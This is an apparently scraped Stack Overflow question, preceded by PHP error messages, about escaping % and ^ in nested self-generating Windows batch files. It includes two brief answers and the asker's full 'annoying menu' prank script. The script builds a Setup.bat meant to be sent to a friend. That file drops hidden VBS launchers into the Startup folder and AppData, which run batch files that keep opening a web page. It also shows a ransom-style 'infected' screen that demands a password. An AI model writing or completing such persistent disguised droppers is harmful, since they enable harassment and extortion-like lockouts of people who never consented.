Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/batch-file/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Windows 如何使批处理文件创建批处理文件,创建批处理文件,创建批处理文件。这将创建另一个批处理文件_Windows_Batch File_Cmd - Fatal编程技术网

Windows 如何使批处理文件创建批处理文件,创建批处理文件,创建批处理文件。这将创建另一个批处理文件

Windows 如何使批处理文件创建批处理文件,创建批处理文件,创建批处理文件。这将创建另一个批处理文件,windows,batch-file,cmd,Windows,Batch File,Cmd,我正在尝试创建一个批处理文件,创建一个安装文件。该设置文件将创建一个批处理文件,该批处理文件将创建一个批处理文件,该批处理文件将创建另一个批处理文件。在此之前,创建批处理文件非常简单。之前,它只是添加更多“%”或更多“^”,以便将百分比值等传输到下一批文件。但我似乎达到了上限,比如%%%随机%%%%,这似乎是上限,无论我再加多少个“%”或“^”。我能做些什么吗? (顺便说一句,脚本还远没有完成。所以会有一些空白点还没有放进去) 以下是整个脚本:(我已经用“#”)标记了一个关于这个问题的示例) 对

我正在尝试创建一个批处理文件,创建一个安装文件。该设置文件将创建一个批处理文件,该批处理文件将创建一个批处理文件,该批处理文件将创建另一个批处理文件。在此之前,创建批处理文件非常简单。之前,它只是添加更多“%”或更多“^”,以便将百分比值等传输到下一批文件。但我似乎达到了上限,比如%%%随机%%%%,这似乎是上限,无论我再加多少个“%”或“^”。我能做些什么吗? (顺便说一句,脚本还远没有完成。所以会有一些空白点还没有放进去)

以下是整个脚本:(我已经用“#”)标记了一个关于这个问题的示例)


对于此类批处理文件的每个级别,您必须将
%
-符号加倍,并用另一个
^
转义每个已转义的字符;或者,嵌入批处理文件以通过
:::
创建,使用
findstr/B:::“
提取这些行,
for/F
捕获它们并删除前缀,这样您就不必再特别注意
%
-符号和
^
-转义…这真的毫无意义。看起来你把这件事复杂化了,创建批处理文件的所有级别的目的是什么?
@echo off
title annoying menu 2.0
mode 150
set /a pas=%pas%+1111
set /a cpas=%cpas%+0

:start
set /a bpas=%bpas%-%bpas%
set /a bpas=%bpas%+%random%*%random%-%random%
set /a dpas=%dpas%-%dpas%
set /a dpas=%dpas%+%random%*%random%-%random%
cls
echo Welcome to annoying menu 2.0
echo This menu is an improved menu of the original annoying menu.
echo Before you create the setup file, please set a custom password.
echo If no custom password is set the default password will be 1111
echo The current password is set to:    %pas%
echo This menu's intended purpose is to prank your friends and NOT intended for the use of blackmailing.
echo If you intend to use this menu for blackmailing purposes, it'll be on your own risk.
echo This menu was developed by Gabriel Thorngaard Koralage.
echo To use this menu follow the simple steps below:
echo Step 1. Press 1 and hit (ENTER)
echo Step 2. Enter a custom code and hit (ENTER) 
echo Step 3. Test the custom password by pressing 2 and hitting (ENTER)
echo Step 4. Press 3 and hit (ENTER) to create the setup file
echo Step 5. Send the setup file to the friend you want to prank
echo Step 6. Once they open the file, the prank will begin
echo.
echo Press 1 to set a password
echo Press 2 to test custom password
echo Press 3 to create the setup file
echo Press 4 to quick reset password
echo Press 5 to exit the menu
echo.
echo CPAS = %cpas%
echo.
set /p opt= Option: 
if %opt%==1 goto Setpas
if %opt%==2 goto Pastest
if %opt%==3 goto Createsetup
if %opt%==4 goto Pasres
cls
echo Please enter a valid number to continue
echo.
pause
goto start

:Setpas
cls
echo Type in a custom password
echo Please do only use numbers.
echo.
set /p pas= Set Password: 
set /a cpas=%cpas%-%cpas%
cls
echo The new password is set to %pas%
echo.
pause
goto start


:Pastest
cls
echo Please type your custom password
echo Type "Exit" to go back to the main menu
echo Tyoe "Newpass" to set a new password
echo.
set /p tpas= Custom Password: 
if %tpas%==%pas% goto testcomplete
if %tpas%==Newpass goto Setpas
if %tpas%==newpass goto Setpas
if %tpas%==Exit goto start
if %tpas%==exit goto start
cls
echo It dosen't seem like the password you typed in, and the custom password matched...
echo Please try again, or set a new password by typing: Newpass
echo.
pause
goto Pastest

:testcomplete
cls
echo The password you typed and the custom password matches
echo.
pause
if %cpas%==1 goto start
set /a cpas=%cpas%+1
goto start

:Createsetup
if %pas%==1111 goto SetupFailCustom
if %cpas%==0 goto SetupFailTest
set /a pas=%pas%+%bpas%+%dpas%
cls
echo Setup file is being created...
echo.
cd %Systemdrive%\Users\%Username%\Desktop


(
echo @echo off
echo title setup
echo mode 150
echo set /a pas=%%pas%%+%pas%
echo set /a bpas=%%bpas%%+%bpas%
echo set /a dpas=%%dpas%%+%dpas%
echo cd %%Systemdrive%%\Users\%%Username%%\Desktop
echo ^(
echo echo @echo off
echo echo title Gnome Killer
echo echo mode 150
echo echo set /a pas=%%%%pas%%%%+%%pas%%
echo echo set /a bpas=%%%%bpas%%%%+%%bpas%%
echo echo set /a dpas=%%%%dpas%%%%+%%dpas%%
echo echo goto start
echo echo :start
echo echo cls
echo echo echo It seems you've been infected by annoying menu!
echo echo echo To stop the gnome type in the password set by the person who send you the setup file
echo echo echo Once typed in the gnome will stop, and all annoying menu files deleted
echo echo echo It does not help to restart your PC so don't try it, you'll simply waste your time
echo echo echo once ready type in the password and hit ^^^(ENTER^^^)
echo echo echo.
echo echo set /a pasc=%%%%pasc%%%%+%%%%pas%%%%-%%%%bpas%%%%-%%%%dpas%%%%
echo echo set /p upas= Password: 
echo echo if %%%%upas%%%%==%%%%pasc%%%% goto confirmed
echo echo cls
echo echo echo It seems like the password you've typed in was incorrect, please try again.
echo echo echo.
echo echo pause
echo echo goto start
echo echo :confirmed
echo echo cls
echo echo echo it worked!
echo echo echo.
echo echo pause
echo ^) ^> Killer.bat
echo ^(
echo echo @echo off
echo echo title backup1
echo echo mode 150
echo echo set /a loop=%%%%loop%%%%-1
echo echo :start
echo echo set /a loop=%%%%loop%%%%+1
echo echo if not %%%%loop%%%%==0 echo Loop number: %%%%loop%%%%
echo echo ping localhost -n 0 ^^^>nul
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo IF EXIST "WinStart.vbs" ^^^(
echo echo goto Continue
echo echo ^^^) ELSE ^^^(
echo echo goto CreateWinStart
echo echo ^^^)
echo echo :CreateWinStart
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^) 
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%systemdrive%\Users\%Username%\AppData\Roaming\Microsoft\Vault\Runner.bat" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> WinStart.vbs
echo echo :Continue
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo IF EXIST "Runner.bat" ^^^(
echo echo goto Continue2
echo echo ^^^) ELSE ^^^(
echo echo goto CreateRunner
echo echo ^^^)
echo echo :CreateRunner ########################################################## THIS RUNNER SCRIPT IS ONE EXAMPLE OF THE ISSUE
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo ^^^(
echo echo echo @echo off
echo echo echo title runner
echo echo echo mode 150
echo echo echo :start
echo echo echo ping localhost -n 10 ^^^>nul
echo echo echo start https://www.youtube.com/watch?v=6n3pFFPSlW4
echo echo echo goto start
echo echo ^^^) ^^^> Runner.bat
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
echo echo (NOT COMPLETE)
echo echo :Continue2
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Themes
echo echo IF EXIST "Backup1Starter.vbs" ^^^(
echo echo goto Continue3
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup1Starter
echo echo ^^^)
echo echo :CreateBackup1Starter
echo echo cd %%%%Systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Windows\Themes
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^) 
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Network Shortcuts\Backup1.bat" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> Backup1starter.vbs
echo echo :Continue3
echo echo cd %%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\Roaming\Microsoft\Vault
echo echo IF EXIST "Backup2.bat" ^^^(
echo echo goto Continue4
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup2
echo echo ^^^)
echo echo :CreateBackup2


echo echo :Continue4
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Local\Microsoft\Windows\Shell
echo echo IF EXIST "Backup2Starter.vbs" ^^^(
echo echo goto Continue5
echo echo ^^^) ELSE ^^^(
echo echo goto CreateBackup2Starter
echo echo ^^^)
echo echo :CreateBackup2Starter
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\AppData\Local\Microsoft\Windows\Shell
echo echo ^^^(
echo echo echo Set WshShell = CreateObject^^^("WScript.Shell"^^^) 
echo echo echo WshShell.Run chr^^^(34^^^) ^^^& "%%%%systemdrive%%%%\Users\%%%%Username%%%%\AppData\LocalLow\Microsoft\Windows" ^^^& Chr^^^(34^^^), 0
echo echo echo Set WshShell = Nothing
echo echo ^^^) ^^^> Backup2Starter.vbs
echo echo :Continue5
echo echo cd %%%%SystemDrive%%%%\Users\%%%%Username%%%%\Desktop
echo echo ^^^(
echo echo echo @echo off
echo echo echo title Gnome Killer
echo echo echo mode 150
echo echo echo set /a pas=%%%%pas%%%%+%%pas%%
echo echo echo set /a bpas=%%%%bpas%%%%+%%bpas%%
echo echo echo set /a dpas=%%%%dpas%%%%+%%dpas%%
echo echo echo goto start
echo echo echo :start
echo echo echo cls
echo echo echo echo It seems you've been infected by annoying menu!
echo echo echo echo To stop the gnome type in the password set by the person who send you the setup file
echo echo echo echo Once typed in the gnome will stop, and all annoying menu files deleted
echo echo echo echo It does not help to restart your PC so don't try it, you'll simply waste your time
echo echo echo echo once ready type in the password and hit ^^^(ENTER^^^)
echo echo echo echo.
echo echo echo set /a pasc=%%%%pasc%%%%+%%%%pas%%%%-%%%%bpas%%%%-%%%%dpas%%%%
echo echo echo set /p upas= Password: 
echo echo echo if %%%%upas%%%%==%%%%pasc%%%% goto confirmed
echo echo echo cls
echo echo echo echo It seems like the password you've typed in was incorrect, please try again.
echo echo echo echo.
echo echo echo pause
echo echo echo goto start
echo echo echo :confirmed
echo echo echo cls
echo echo echo echo it worked!
echo echo echo echo.
echo echo echo pause
echo echo ^^^) ^^^> Killer.bat
echo ^) ^> Backup1.bat
) > Setup.bat
goto end

ping localhost -n 0 >nul
echo STATUS:
echo.
echo Setup File Created and ready to be exported
echo The menu will close automatically in 5 seconds
ping localhost -n 0 >nul
goto end

:SetupFailCustom
cls
echo Please create a custom password to create the setup file
echo.
pause
goto start

:SetupFailtest
cls
echo Please test your custom password before creating the setup file
echo.
pause
goto start

:Pasres
set /a pas=%pas%-%pas%
set /a pas=%pas%+1111
set /a cpas=%cpas%-%cpas%
goto start

:end